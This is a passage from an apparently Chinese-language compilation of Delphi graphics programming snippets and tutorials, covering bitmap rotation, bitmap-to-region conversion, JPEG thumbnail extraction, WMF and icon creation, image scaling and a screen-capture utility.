FAutoSize := Value;

if FAutoSize then AdjustSize;

end;

end;

{$ENDIF}

procedure TRotateImage.SetUniqueSize(Value: Boolean);

begin

if Value <> UniqueSize then

begin

FUniqueSize := Value;

PictureChanged(Self);

end;

end;

procedure TRotateImage.PictureChanged(Sender: TObject);

var

G: TGraphic;

begin

if not (csLoading in ComponentState) then

begin

G := Picture.Graphic;

if G <> nil then

begin

if not ((G is TMetaFile) or (G is TIcon)) then

G.Transparent := FTransparent;

if (not G.Transparent) and (Stretch or (RotatedBitmap.Width >= Width)

and (RotatedBitmap.Height >= Height)) then

ControlStyle := ControlStyle + [csOpaque]

else

ControlStyle := ControlStyle - [csOpaque];

if DoPaletteChange and FDrawing then Update;

end

else

ControlStyle := ControlStyle - [csOpaque];

CreateRotatedBitmap;

if AutoSize and (Picture.Width > 0) and (Picture.Height > 0) then

SetBounds(Left, Top, RotatedBitmap.Width, RotatedBitmap.Height);

if not FDrawing then Invalidate;

end;

end;

{$IFDEF RI_D4orHigher}

function TRotateImage.CanAutoSize(var NewWidth, NewHeight: Integer): Boolean;

begin

Result := True;

if not (csDesigning in ComponentState) or

(RotatedBitmap.Width > 0) and (RotatedBitmap.Height > 0) then

begin

if Align in [alNone, alLeft, alRight] then

NewWidth := RotatedBitmap.Width;

if Align in [alNone, alTop, alBottom] then

NewHeight := RotatedBitmap.Height;

end;

end;

{$ENDIF}

{$IFNDEF RI_D4orHigher}

procedure TRotateImage.AdjustSize;

begin

if not (csDesigning in ComponentState) or

(RotatedBitmap.Width > 0) and (RotatedBitmap.Height > 0) then

begin

if Align in [alNone, alLeft, alRight] then

Width := RotatedBitmap.Width;

if Align in [alNone, alTop, alBottom] then

Height := RotatedBitmap.Height;

end;

end;

{$ENDIF}

procedure Register;

begin

RegisterComponents('Samples', [TRotateImage]);

end;

end.


位图的旋转
http://www.efg2.com/lab/ImageProcessing/RotateScanline.htm

CONST

MaxPixelCount = 32768;

TYPE

TRGBTripleArray = ARRAY[0..MaxPixelCount-1] OF TRGBTriple;

pRGBTripleArray = ^TRGBTripleArray;

...

// "Simple" approach. For pixel (i,j), use "reverse" rotation to find

// where the rotated pixel must have been before the rotation.

// Don't bother with center of pixel adjustment.

// Assumes input BitmapOriginal has PixelFormat = pf24bit.

FUNCTION RotateBitmapMethod1 (CONST BitmapOriginal: TBitmap;

CONST iRotationAxis, jRotationAxis: INTEGER;

CONST AngleOfRotation: DOUBLE {radians} ): TBitmap;

VAR

cosTheta : EXTENDED;

i : INTEGER;

iOriginal : INTEGER;

iPrime : INTEGER;

j : INTEGER;

jOriginal : INTEGER;

jPrime : INTEGER;

RowOriginal: pRGBTripleArray;

RowRotated : pRGBTRipleArray;

sinTheta : EXTENDED;

BEGIN

// The size of BitmapRotated is the same as BitmapOriginal. PixelFormat

// must also match since 24-bit GBR triplets are assumed in ScanLine.

RESULT := TBitmap.Create;

RESULT.Width := BitmapOriginal.Width;

RESULT.Height := BitmapOriginal.Height;

RESULT.PixelFormat := pf24bit; // Force this

// Get SIN and COS in single call from math library

sincos(AngleOfRotation, sinTheta, cosTheta);

// If no math library, then use this:

// sinTheta := SIN(AngleOfRotation);

// cosTheta := COS(AngleOfRotation);

// Step through each row of rotated image.

FOR j := RESULT.Height-1 DOWNTO 0 DO

BEGIN

RowRotated := RESULT.Scanline[j];

jPrime := j - jRotationAxis;

FOR i := RESULT.Width-1 DOWNTO 0 DO

BEGIN

iPrime := i - iRotationAxis;

iOriginal := iRotationAxis + ROUND(iPrime * CosTheta - jPrime * sinTheta);

jOriginal := jRotationAxis + ROUND(iPrime * sinTheta + jPrime * cosTheta);

// Make sure (iOriginal, jOriginal) is in BitmapOriginal. If not,

// assign blue color to corner points.

IF (iOriginal >= 0) AND (iOriginal <= BitmapOriginal.Width-1) AND

(jOriginal >= 0) AND (jOriginal <= BitmapOriginal.Height-1)

THEN BEGIN

// Assign pixel from rotated space to current pixel in BitmapRotated

RowOriginal := BitmapOriginal.Scanline[jOriginal];

RowRotated[i] := RowOriginal[iOriginal]

END

ELSE BEGIN

RowRotated[i].rgbtBlue := 255; // assign "corner" color

RowRotated[i].rgbtGreen := 0;

RowRotated[i].rgbtRed := 0

END

END

END

END {RotateBitmapMethod1};


用位图生成一个区域
贴一个能精确裁减的算法(NiceCrop)，还有一个能满足动画要求的算法(FastCrop)。想要的朋友联系wwwsheng@sian.com

function NiceCropRgn(bitmap: TBitmap; clMask: TColor): HRGN;

var

hrgn, hrgn1 : integer;

x, y : integer;

begin

hrgn := CreateRectRgn(0, 0, bitmap.Width, bitmap.Height);

for x := 1 to bitmap.Width do

for y := 1 to bitmap.Height do

if bitmap.Canvas.Pixels[x - 1, y - 1] = clMask then begin

hrgn1 := CreateRectRgn(x - 1, y - 1, x, y);

CombineRgn(hrgn, hrgn, hrgn1, RGN_DIFF);

DeleteObject(hrgn1);

end;

Result := hrgn;

end;

***************

TBitmaps to Windows Regions

---------------------------------------------------------------------

function BitmapToRegion(bmp: TBitmap; TransparentColor: TColor=clBlack;

RedTol: Byte=1; GreenTol: Byte=1; BlueTol: Byte=1): HRGN;

const

AllocUnit = 100;

type

PRectArray = ^TRectArray;

TRectArray = Array[0..(MaxInt div SizeOf(TRect))-1] of TRect;

var

pr: PRectArray;

h: HRGN;

RgnData: PRgnData;

lr, lg, lb, hr, hg, hb: Byte;

x,y, x0: Integer;

b: PByteArray;

ScanLinePtr: Pointer;

ScanLineInc: Integer;

maxRects: Cardinal;

begin

Result := 0;

{ Keep on hand lowest and highest values for the "transparent" pixels }

lr := GetRValue(TransparentColor);

lg := GetGValue(TransparentColor);

lb := GetBValue(TransparentColor);

hr := Min($ff, lr + RedTol);

hg := Min($ff, lg + GreenTol);

hb := Min($ff, lb + BlueTol);

bmp.PixelFormat := pf32bit;

maxRects := AllocUnit;

GetMem(RgnData,SizeOf(RGNDATAHEADER) + (SizeOf(TRect) * maxRects));

try

with RgnData^.rdh do

begin

dwSize := SizeOf(RGNDATAHEADER);

iType := RDH_RECTANGLES;

nCount := 0;

nRgnSize := 0;

SetRect(rcBound, MAXLONG, MAXLONG, 0, 0);

end;

ScanLinePtr := bmp.ScanLine[0];

ScanLineInc := Integer(bmp.ScanLine[1]) - Integer(ScanLinePtr);

for y := 0 to bmp.Height - 1 do

begin

x := 0;

while x < bmp.Width do

begin

x0 := x;

while x < bmp.Width do

begin

b := @PByteArray(ScanLinePtr)[x*SizeOf(TRGBQuad)];

// BGR-RGB: Windows 32bpp BMPs are made of BGRa quads (not RGBa)

if (b[2] >= lr) and (b[2] <= hr) and

(b[1] >= lg) and (b[1] <= hg) and

(b[0] >= lb) and (b[0] <= hb) then

Break; // pixel is transparent

Inc(x);

end;

{ test to see if we have a non-transparent area in the image }

if x > x0 then

begin

{ increase RgnData by AllocUnit rects if we exceeds maxRects }

if RgnData^.rdh.nCount >= maxRects then

begin

Inc(maxRects,AllocUnit);

ReallocMem(RgnData,SizeOf(RGNDATAHEADER) + (SizeOf(TRect) * MaxRects));

end;

{ Add the rect (x0, y)-(x, y+1) as a new visible area in the region }

pr := @RgnData^.Buffer; // Buffer is an array of rects

with RgnData^.rdh do

begin

SetRect(pr[nCount], x0, y, x, y+1);

{ adjust the bound rectangle of the region if we are "out-of-bounds" }

if x0 < rcBound.Left then rcBound.Left := x0;

if y < rcBound.Top then rcBound.Top := y;

if x > rcBound.Right then rcBound.Right := x;

if y+1 > rcBound.Bottom then rcBound.Bottom := y+1;

Inc(nCount);

end;

end; // if x > x0

if RgnData^.rdh.nCount = 2000 then

begin

h := ExtCreateRegion(nil, SizeOf(RGNDATAHEADER) + (SizeOf(TRect) * maxRects), RgnData^);

if Result > 0 then

begin // Expand the current region

CombineRgn(Result, Result, h, RGN_OR);

DeleteObject(h);

end

else // First region, assign it to Result

Result := h;

RgnData^.rdh.nCount := 0;

SetRect(RgnData^.rdh.rcBound, MAXLONG, MAXLONG, 0, 0);

end;

Inc(x);

end; // scan every sample byte of the image

Inc(Integer(ScanLinePtr), ScanLineInc);

end;

{ need to call ExCreateRegion one more time because we could have left }

{ a RgnData with less than 2000 rects, so it wasn't yet created/combined }

h := ExtCreateRegion(nil, SizeOf(RGNDATAHEADER) + (SizeOf(TRect) * MaxRects), RgnData^);

if Result > 0 then

begin

CombineRgn(Result, Result, h, RGN_OR);

DeleteObject(h);

end

else

Result := h;

finally

FreeMem(RgnData,SizeOf(RGNDATAHEADER) + (SizeOf(TRect) * MaxRects));

end;


我被BITMAP绊倒了
萧萧落木(RocWood) <rocwood@sina.com>

最近在研究UO的MUL文件展开,不料在转换BMP格式时被BITMAP绊倒了,

情况如下:

BMP:TBitmap;

BMP:=TBitmap.Create;

BMP.Height:=H;

BMP.Width:=W;

BMP.PixelFormat:=pf24bit;

BMP.HandleType := bmDIB;

我从MUL文件里读取15bit色彩的数据流,转换成RGB格式,按行写入BMP.ScanLine,

最后BMP.SaveToFile,按理说应该对了,可生成的BMP用ACDSEE一看,色彩明显不对,

有的文件的左右两半对调了,怀疑是转换RGB出错,重新BMP.LoadFromFile读入刚刚

生成的BMP,在delphi看里竟然是对的!!!

于是先直接保存成pf15bit格式,正确,再用ACDSEE转换成24bitBMP,比较这个24bit的

BMP和我原先生成的BMP,竟然发现SaveToFile生成的BMP在文件头和数据区中多了48字

节的东东......该死的delphi,真弱智,已经是RGB格式了还保存什么调色版...faint

于是在源程序里显式加入 BMP.IgnorePalette:=True 终于对了:-D

原来一直依赖bitmap类的savetofile,没想到用不用调色板竟然bitmap类自己不会判

断...真伤心,白白花了一天时间调试,还以为是我编错了...

打倒Inprise!!!

--

心存相信 成就奇迹

There can be miracle when u believe

瞬间的感动 造就了一生的缘分

网络的冲动 支撑着第二次人生

---------------------------------------

奔月逐日的 萧萧落木(Roc.j.Wood)


用Delphi读取JPEG文件的缩览图
用Delphi读取JPEG文件的缩览图

--------------------------------------------------------------------------------

    JPEG图像文件以高压缩比和高图像质量著称，市面上的图库光盘中的图像文件大都是JPEG格式的。怎样从一大堆JPEG文件中查找合适的图像呢？使用JPEG文件的缩览图就是其中方法之一。

    在PhotoShop 4.0(或以上版本)的打开文件对话框中，当打开JPEG文件时，PhotoShop很快把它的缩览图显示出来。为什么PhotoShop能这么快地显示出JPEG文件的缩览图呢？

    原来PhotoShop在保存JPEG文件时把它的缩览图也保存在文件里。PhotoShop定义了新的段FF ED，这个段保存了一个JPEG文件格式的缩览图，大图中有小图。FF ED段后两个字节是这个段的长度，在这个段里有缩览图的开始标志FF D8和结束标志FF D9，将这个段拷贝出来即可获得该图的缩览图。值得注意的是PhotoShop 4.0解出的缩览图，像素格式不是常规的RGB,而是BGR格式,所以还得加入BGR转为RGB的代码，转化过程是在内存里把B和R的位置交换。

    下面是Delphi编写的快速读取PhotoShop 4.0(或以上版本)JPEG文件的缩览图的程序,程序用TFileStream读取JPEG文件的FF ED段，结合TmemoryStream、TJPEGimage, 返回BMP格式的缩览图。

    function LoadThumb(filename:shortstring):TBitmap;

    procedure BGR2RGB(var bmp:TBitmap);

    var

    x,y:integer; t:char; data:pchar;

    begin

    for y:=bmp.Height-1 downto 0 do

    begin

    data:=bmp.ScanLine[y];

    for x:=0 to bmp.Width-1 do

    begin

    t:=data[x*3];

    data[x*3]:=data[x*3+2];

    data[x*3+2]:=t;

    end;

    end;

    end;

    var

    fstream:Tfilestream; mstream:Tmemorystream;

    j,i:word;data:pchar; buf:array [0..3] of byte;

    filesize:DWORD; fjpg:Tjpegimage;bmp:Tbitmap;

    begin

    result:=nil;

    fstream:=Tfilestream.create(filename,fmOpenRead);

    //建立文件流，读JPEG文件

    fstream.Seek(20,soFromBeginning); //FF ED段在文件的第20个字节处

    fstream.Read(buf,sizeof(buf));

    if PWORD(@buf[0])^=$EDFF then

    begin

    j:=buf[2]*256+buf[3]; //FF ED的大小，高位在前，低位在后

    if j<1024 then //FF ED段的大小若为1024个字节则文件不包含缩览图，退出程序

    begin

    fstream.free;

    exit;

    end;

    mstream:=TMemorystream.Create;//建立内存流

    mstream.CopyFrom(fstream,j); //把FF ED段拷贝到mstream

    data:=mstream.Memory;

    for i:=300 to 700 do //找缩览图的开始标志FF D8

    if PWORD(@data[i])^=$D8FF then break;

    if i<700 then

    begin

    fjpg:=Tjpegimage.Create; //建立TJPEGimage 解出缩览图

    bmp:=TBitmap.Create;

    mstream.Position:=i;

    fjpg.LoadFromStream(mstream);//fjpg读取mstream

    bmp.Assign(fjpg); //JPEG转BMP

    if PWORD(@data[i+57])^=$2e34 then //PhotoShop 4.0的缩览图

    BGR2RGB(bmp); //BMP的像素格式BGR 而不是RGB,要把BGR转化为RGB

    result:=bmp; //函数返回BMP

    mstream.Free;

    fjpg.Free; //释放Object

    end;end;

    fstream.free;

    end;

    可直接把Delphi 的Timage可视控件拖到Form上，用image.picture.bitmap:= LoadThumb(filename) 即可显示PhotoShop JPEG文件的缩览图。


创建和保存WMF文件
CONST W = 1000; H = 500; R2 = 353;

procedure TForm1.Button1Click(Sender: TObject);

VAR CDC : hDC;

procedure spiral(CV: TCanvas; Colr: TColor; AngInc: Double;

RInc: Integer; Sgn1, Sgn2: Integer);

VAR Theta: Double;

begin

Sgn1 := Sgn1 DIV Abs(Sgn1);

Sgn2 := Sgn2 DIV Abs(Sgn2);

CV.pen.Color := Colr;

Theta := 0;

CV.MoveTo(H,H);

WHILE Theta < pred(H DIV RInc) DO

BEGIN

Theta := Theta + AngInc;

CV.LineTo(H+Sgn1*Round(RInc*Theta*Cos(Sgn2*Theta)),

H+Sgn1*Round(RInc*Theta*Sin(Sgn2*Theta)));

END;

end;

begin

DeleteFile('EXAMPLE.WMF');

WITH TBitmap.Create DO

try

CDC := CreateMetafile(NIL);

Canvas.Handle := CDC;

SetMapMode(Canvas.Handle, MM_ANISOTROPIC);

SetWindowExt(Canvas.Handle, W, W);

WITH Canvas DO

BEGIN

{==== replace with your own image-creation code ===}

Brush.Color := clWhite;

pen.Width := 10;

pen.Style := psInsideFrame;

pen.Color := clBlack;

Ellipse(0,0,W,W);

Spiral(Canvas, clRed, pi/4, 18, 1, 1);

Spiral(Canvas, clBlue, pi/4, 18, -1, 1);

Pen.Color := clBlack;

PolyLine([Point(H,0), Point(H,H), Point(H-R2, H+R2),

Point(H,H), Point(H,W), Point(H,H),

Point(H+R2,H+R2)]);

{====== end image-creation code =====}

END;

WITH TMetafile.Create DO

try

Handle := CloseMetafile(CDC);

Inch := W;

Height := 128;

Width := 128;

SaveToFile('EXAMPLE.WMF');

finally

Free;

end;

finally

Free;

end;

end;


图片分辨率的调整
procedure TForm1.Button1Click(Sender: TObject);

var

abmp,bbmp:tbitmap;

scale:real;

p:tpoint;

begin

abmp:=tbitmap.Create;

bbmp:=tbitmap.Create;

p.x:=10;

p.y:=10;

if open.Execute then

begin

abmp.LoadFromFile(open.FileName);

scale:=abmp.Width/800;

bbmp.Width:=round(abmp.Width/scale);

bbmp.Height:=round(abmp.Height/scale);

bbmp.PixelFormat:=abmp.PixelFormat;

SetStretchBltMode(bbmp.Canvas.Handle,COLORONCOLOR);

//if SetBrushOrgEx(bbmp.Canvas.Handle,0,0,@p) then

begin

stretchblt(bbmp.Canvas.Handle,0,0,bbmp.Width,bbmp.Height,abmp.Canvas.Handle,0,0,abmp.Width,abmp.Height,srccopy);

bbmp.SaveToFile('c:\windows\desktop\aaa.bmp');

end;

end;

abmp.Free;

bbmp.Free;

end;


把位图变成一个图标实现Acdsee式的预览
: aaa234(我只只在乎你) 2001-06-04 13:21:18 :0 :0

procedure TForm1.Button1Click(Sender: TObject);

var

IconSizeX : integer;

IconSizeY : integer;

AndMask : TBitmap;

XOrMask : TBitmap;

IconInfo : TIconInfo;

Icon : TIcon;

begin

{Get the icon size}

IconSizeX := GetSystemMetrics(SM_CXICON);

IconSizeY := GetSystemMetrics(SM_CYICON);

{Create the "And" mask}

AndMask := TBitmap.Create;

AndMask.Monochrome := true;

AndMask.Width := IconSizeX;

AndMask.Height := IconSizeY;

{Draw on the "And" mask}

AndMask.Canvas.Brush.Color := clWhite;

AndMask.Canvas.FillRect(Rect(0, 0, IconSizeX, IconSizeY));

AndMask.Canvas.Brush.Color := clBlack;

AndMask.Canvas.Ellipse(4, 4, IconSizeX - 4, IconSizeY - 4);

{Draw as a test}

Form1.Canvas.Draw(IconSizeX * 2, IconSizeY, AndMask);

{Create the "XOr" mask}

XOrMask := TBitmap.Create;

XOrMask.Width := IconSizeX;

XOrMask.Height := IconSizeY;

{Draw on the "XOr" mask}

XOrMask.Canvas.Brush.Color := ClBlack;

XOrMask.Canvas.FillRect(Rect(0, 0, IconSizeX, IconSizeY));

XOrMask.Canvas.Pen.Color := clRed;

XOrMask.Canvas.Brush.Color := clRed;

XOrMask.Canvas.Ellipse(4, 4, IconSizeX - 4, IconSizeY - 4);

{Draw as a test}

Form1.Canvas.Draw(IconSizeX * 4, IconSizeY, XOrMask);

{Create a icon}

Icon := TIcon.Create;

IconInfo.fIcon := true;

IconInfo.xHotspot := 0;

IconInfo.yHotspot := 0;

IconInfo.hbmMask := AndMask.Handle;

IconInfo.hbmColor := XOrMask.Handle;

Icon.Handle := CreateIconIndirect(IconInfo);

{Destroy the temporary bitmaps}

AndMask.Free;

XOrMask.Free;

{Draw as a test}

Form1.Canvas.Draw(IconSizeX * 6, IconSizeY, Icon);

{Assign the application icon}

Application.Icon := Icon;

{Force a repaint}

InvalidateRect(Application.Handle, nil, true);

{Free the icon}

Icon.Free;

end;


实用的Delphi屏幕拷贝程序
Borland公司（现改名为INPRISE公司）的DELPHI是当前最为方便的Windows程序设计工具之一。许多人以为DELPHI是作为数据库开发工具出现的，其实用DELPHI可以以极快的速度开发出高效的Windows程序。现在我们就用DELPHI来编写一个实用的屏幕拷贝程序。瞧瞧，下面的画面就是所编程序运行后进行区域屏幕拷贝的例子，还不错吧！Borland公司的天才设计师们用画布（Tcanvas）对象封装了Windows的大部分图形输出功能，这使得我们可以通过他以更直观的方式和Windows的屏幕打交道，而不必关心令人头疼的WindowsAPI函数。下面的一小段程序就可以实现整个屏幕的图象拷贝了。

var //变量声明

Fullscreen:Tbitmap;

FullscreenCanvas:TCanvas;

dc:HDC;

//------------------------------------------------------------

DC := GetDC (0); //取得屏幕的 DC，参数0指的是屏幕

FullscreenCanvas := TCanvas.Create; //创建一个CANVAS对象

FullscreenCanvas.Handle := DC; //将屏幕的DC赋给HANDLE

Fullscreen.Canvas.CopyRect

(Rect (0, 0, screen.Width,screen.Height),

fullscreenCanvas,

Rect (0, 0, Screen.Width, Screen.Height));

//把整个屏幕复制到BITMAP中

FullscreenCanvas.Free; //释放CANVAS对象

ReleaseDC (0, DC); //释放DC

//SCREEN对象是DELPHI预先定义的屏幕对象，直接使用就行了。

看了以上代码，你就会发现用DELPHI写屏幕拷贝程序的确很简单。当然要写一个实用的屏幕拷贝程序，光靠上述代码是不够的，下面讲一下主要的编程思路：

1.全屏幕拷贝的实现首先隐藏拷屏程序，延长一定时间后，利用上述的程序即可实现屏幕的拷贝。

2.区域拷贝的实现要实现区域拷贝要用个小技巧，首先调用全屏幕拷贝程序把整个屏幕拷贝下来，然后把拷贝下来的图象显示在屏幕上，之后就可以让用户在上面选择需要的区域，最后才将用户选定的区域复制下来。编 程 实 现：

1. 首 先 用DELPHI3 开 一 个 工 程。

2.在FORM上放置一个TPANEL元件，设置ALIGN=ALTOP，再选部件条ADDITIONAL上的TSCROLLBOX，放到FORM上，设置ALIGN=ALCLIENT，然后在SCROLLBOX上放置一个TIMAGE对象。

3.在PANEL上放置4个按钮，分别为FULLSCREEN，REGIN，SAVE，EXIT。

4.容易干的先干，在EXIT按钮的CLICK事件里写下代码

procedure TForm1.ExitClick(Sender: TObject);

begin

close;

end;

5.接着是实现全屏幕拷贝了，在FROM上放置一个记时器TTIMER，ENABLED设为FALSE，INTERVAL设为500，也就是半秒钟激活一次。双击TIMER部件，写上如下的代码。

procedure TForm1.Timer1Timer(Sender: TObject);

var

Fullscreen:Tbitmap;

FullscreenCanvas:TCanvas;

dc:HDC;

begin

timer1.Enabled:=false; //取消时钟

Fullscreen := TBitmap.Create; //创建一个BITMAP来存放图象

Fullscreen.Width := screen.width;

Fullscreen.Height := screen.Height;

DC := GetDC (0); //取得屏幕的 DC，参数0指的是屏幕

FullscreenCanvas := TCanvas.Create; //创建一个CANVAS对象

FullscreenCanvas.Handle := DC;

Fullscreen.Canvas.CopyRect

(Rect (0, 0, screen.Width, screen.Height), fullscreenCanvas,

Rect (0, 0, Screen.Width, Screen.Height));

//把整个屏幕复制到BITMAP中

FullscreenCanvas.Free; //释放CANVAS对象

ReleaseDC (0, DC); //释放DC

//*******************************

image1.picture.Bitmap:=fullscreen;//拷贝下的图象赋给IMAGE对象

image1.Width:=fullscreen.Width;

image1.Height:=fullscreen.Height;

fullscreen.free; //释放bitmap

form1.WindowState:=wsNormal; //复原窗口状态

form1.show; //显示窗口

messagebeep(1); //BEEP叫一声，报告图象已经截取好了。

end;

6. 接 下 去FULLSCREEN 按 钮 上 的 代 码 就 很 简 单 了。

procedure TForm1.FullscreenClick(Sender: TObject);

begin

form1.WindowState:=wsMinimized; //最小化程序窗口

form1.hide; //把程序藏起来

timer1.enabled:=true; //打开记时器

end;

7.拷贝到了图象当然要存起来了，SAVE按钮就有了用武之地，我们写下如下代码。

procedure TForm1.Save1Click(Sender: TObject);

begin

if savedialog1.Execute then

begin

form1.Image1.Picture.SaveToFile(savedialog1.filename)

end;

end;

8.下面是区域拷贝的实现。再New一个FORM,BorderStype设为bsNone,这样能够显示为全屏幕，上面放置一个TIMAGE部件，ALIGN设为ALCLIENT，另外放置一个TTIMER部件，TIMER部件的程序跟上面的很象，因为它首先要实现的是全屏幕的拷贝。

procedure TForm2.Timer1Timer(Sender: TObject);

var

Fullscreen:Tbitmap;

FullscreenCanvas:TCanvas;

dc:HDC;

begin

timer1.Enabled:=false;

Fullscreen := TBitmap.Create;

Fullscreen.Width := screen.width;

Fullscreen.Height := screen.Height;

DC := GetDC (0);

FullscreenCanvas := TCanvas.Create;

FullscreenCanvas.Handle := DC;

Fullscreen.Canvas.CopyRect (Rect

(0, 0, screen.Width, screen.Height), fullscreenCanvas,

Rect (0, 0, Screen.Width, Screen.Height));

FullscreenCanvas.Free;

ReleaseDC (0, DC);

image1.picture.Bitmap:=fullscreen;

image1.Width:=fullscreen.Width;

image1.Height:=fullscreen.Height;

fullscreen.free;

form2.WindowState:=wsMaximized;

form2.show;

messagebeep(1);

foldx:=-1;

foldy:=-1;

image1.Canvas.Pen.mode:=pmnot; //笔的模式为取反

image1.canvas.pen.color:=clblack; //笔为黑色

image1.canvas.brush.Style:=bsclear; //空白刷子

flag:=true;

end;

9.TIMAGE 部 件 上 有 两 个 事 件 的 程 序 需 要 编 写， 一 个 是ONMOUSEDOWN， 另 一 个

是ONMOUSEMOVE。

10.可以回头看看区域拷贝的思路，此时需要作区域拷贝的屏幕我们已经得到，也显示在屏幕上了，按下鼠标左键是区域的原点，此后移动鼠标，将有一个矩形在原点和鼠标之间，它会随着鼠标的移动而变化，再次按下鼠标的左键，此时矩形所包含的区域就是我们要得到的图象了。

11. 所 以MOUSEDOWN 有 两 次 响 应 的 处 理， 见 以 下 程 序。

procedure TForm2.Image1MouseDown

(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

var

width,height:integer;

newbitmap:Tbitmap;

begin

if (trace=false) then // TRACE表示是否在追踪鼠标

begin //首次点击鼠标左键，开始追踪鼠标。

flag:=false;

with image1.canvas do

begin

moveTo(foldx,0);

LineTo(foldx,screen.height);

moveto(0,foldy);

lineto(screen.width,foldy);

end;

x1:=x;

y1:=y;

oldx:=x;

oldy:=y;

trace:=true;

image1.Canvas.Pen.mode:=pmnot; //笔的模式为取反

//这样再在原处画一遍矩形，相当于擦除矩形。

image1.canvas.pen.color:=clblack; //笔为黑色

image1.canvas.brush.Style:=bsclear;//空白刷子

end

else

begin //第二次点击，表示已经得到矩形了，

//把它拷贝到FORM1中的IMAGE部件上。

x2:=x;

y2:=y;

trace:=false;

image1.canvas.rectangle(x1,y1,oldx,oldy);

width:=abs(x2-x1);

height:=abs(y2-y1);

form1.image1.Width:=Width;

form1.image1.Height:=Height;

newbitmap:=Tbitmap.create;

newbitmap.width:=width;

newbitmap.height:=height;

newbitmap.Canvas.CopyRect

(Rect (0, 0, width, Height),form2.image1.canvas,

Rect (x1, y1,x2,y2)); //拷贝

form1.image1.picture.bitmap:=newbitmap; //放到FORM的IMAGE上

newbitmap.free;

form2.hide;

form1.show;

end;

end;

12.MOUSEMOVE的处理就是在原点和鼠标当前位置之间不断地画矩形和擦

除矩形。

procedure TForm2.Image1MouseMove

(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

begin

if trace=true then //是否在追踪鼠标？

begin //是，擦除旧的矩形并画上新的矩形

with image1.canvas do

begin

rectangle(x1,y1,oldx,oldy);

Rectangle(x1,y1,x,y);

oldx:=x;

oldy:=y;

end;

end

else if flag=true then //在鼠标所在的位置上画十字

begin

with image1.canvas do

begin

moveTo(foldx,0); //擦除旧的十字

LineTo(foldx,screen.height);

moveto(0,foldy);

lineto(screen.width,foldy);

moveTo(x,0); //画上新的十字

LineTo(x,screen.height);

moveto(0,y);

lineto(screen.width,y);

foldx:=x;

foldy:=y;

end;

end;

end;

13.好了，让我们回过头来编写REGION按钮的代码。

procedure TForm1.RegionClick(Sender: TObject);

begin

form1.Hide;

form2.hide;

form2.Timer1.Enabled:=true;

end;

好了，我们终于胜利完工了，赶快运行一遍，把漂亮的屏幕拷下来！瞧DELPHI不仅是一个优秀的数据库开发工具，而且是一个优秀的编写WINDOWS程序的好帮手。让我们不禁赞叹：伟大的DELPHI！

宁波市游河巷贾学杰


保存真彩色的图标
///文件名：Icons.Pas

unit Icons;

interface

uses windows, sysutils;

type

PByte = ^Byte;

PBitmapInfo = ^BitmapInfo;

/// These first two structs represent how the icon information is stored

/// when it is bound into a EXE or DLL file. Structure members are WORD

/// aligned and the last member of the structure is the ID instead of

/// the imageoffset.

type

PMEMICONDIRENTRY = ^TMEMICONDIRENTRY;

TMEMICONDIRENTRY = packed record

bWidth: BYTE; /// Width of the image

bHeight: BYTE; /// Height of the image (times 2)

bColorCount: BYTE; /// Number of colors in image (0 if >=8bpp)

bReserved: BYTE; /// Reserved

wPlanes: WORD; /// Color Planes

wBitCount: WORD; /// Bits per pixel

dwBytesInRes: DWORD; /// how many bytes in this resource?

nID: WORD; /// the ID

end;

type

PMEMICONDIR = ^TMEMICONDIR;

TMEMICONDIR = packed record

idReserved: WORD; /// Reserved

idType: WORD; /// resource type (1 for icons)

idCount: WORD; /// how many images?

idEntries: array[0..10] of TMEMICONDIRENTRY; /// the entries for each image

///查看msdn，这个数组长度应该是1，但是为什么图标猎手定义的是0..10？

end;

/// These next two structs represent how the icon information is stored

/// in an ICO file.

type

PICONDIRENTRY = ^TICONDIRENTRY;

TICONDIRENTRY = packed record

bWidth: BYTE; /// Width of the image

bHeight: BYTE; /// Height of the image (times 2)

bColorCount: BYTE; /// Number of colors in image (0 if >=8bpp)

bReserved: BYTE; /// Reserved

wPlanes: WORD; /// Color Planes

wBitCount: WORD; /// Bits per pixel

dwBytesInRes: DWORD; /// how many bytes in this resource?

dwImageOffset: DWORD; /// where in the file is this image

end;

type

PICONDIR = ^TICONDIR;

TICONDIR = packed record

idReserved: WORD; /// Reserved

idType: WORD; /// resource type (1 for icons)

idCount: WORD; /// how many images?

idEntries: array[0..0] of TICONDIRENTRY; /// the entries for each image

end;

/// The following two structs are for the use of this program in

/// manipulating icons. They are more closely tied to the operation

/// of this program than the structures listed above. One of the

/// main differences is that they provide a pointer to the DIB

/// information of the masks.

type

PICONIMAGE = ^TICONIMAGE;

TICONIMAGE = packed record

Width, Height, Colors: UINT; /// Width, Height and bpp

lpBits: pointer; /// ptr to DIB bits

dwNumBytes: DWORD; /// how many bytes?

pBmpInfo: PBitmapInfo;

end;

{ ///这是原来的，上面的是对照IconHunt的

TICONIMAGE = packed record

Width, Height, Colors: UINT; /// Width, Height and bpp

lpBits: pointer; /// ptr to DIB bits

dwNumBytes: DWORD; /// how many bytes?

lpbi: PBITMAPINFO; /// ptr to header

lpXOR: LPBYTE; /// ptr to XOR image bits

lpAND: LPBYTE; /// ptr to AND image bits

end;

}

type

PICONRESOURCE = ^TICONRESOURCE;

TICONRESOURCE = packed record

nNumImages: UINT; /// How many images?

IconImages: array[0..10] of TICONIMAGE; /// Image entries

end;

{///下面是原来的，上面是对照IconHunt的

TICONRESOURCE = packed record

bHasChanged: BOOL; /// Has image changed?

szOriginalICOFileName: array[0..MAX_PATH] of char; /// Original name

szOriginalDLLFileName: array[0..MAX_PATH] of char; /// Original name

nNumImages: UINT; /// How many images?

IconImages: array[0..0] of ICONIMAGE; /// Image entries

end;

}

type

TPageInfo = packed record

Width: byte;

Height: byte;

ColorQuantity: integer;

Reserved: DWORD;

PageSize: DWORD;

PageOffSet: DWORD;

end;

type

TPageDataHeader = packed record

PageHeadSize: DWORD;

XSize: DWORD;

YSize: DWORD;

SpeDataPerPixSize: integer;

ColorDataPerPixSize: integer;

Reserved: DWORD;

DataAreaSize: DWORD;

ReservedArray: array[0..15] of char;

end;

type

TIcoFileHeader = packed record

FileFlag: array[0..3] of byte;

PageQuartity: integer;

PageInfo: TPageInfo;

end;

///function WriteIconToFile(Bitmap: hBitmap; Icon: hIcon; szFileName: string): Boolean; overload;

function ExtractIconFromFile(ResFileName: string; IcoFileName: string; nIndex: string): Boolean;

function WriteIconResourceToFile(hFile: hwnd; lpIR: PICONRESOURCE): Boolean;

implementation

function WriteICOHeader(hFile: HWND; nNumEntries: UINT): Boolean;

type

TFIcoHeader = record

wReserved: WORD;

wType: WORD;

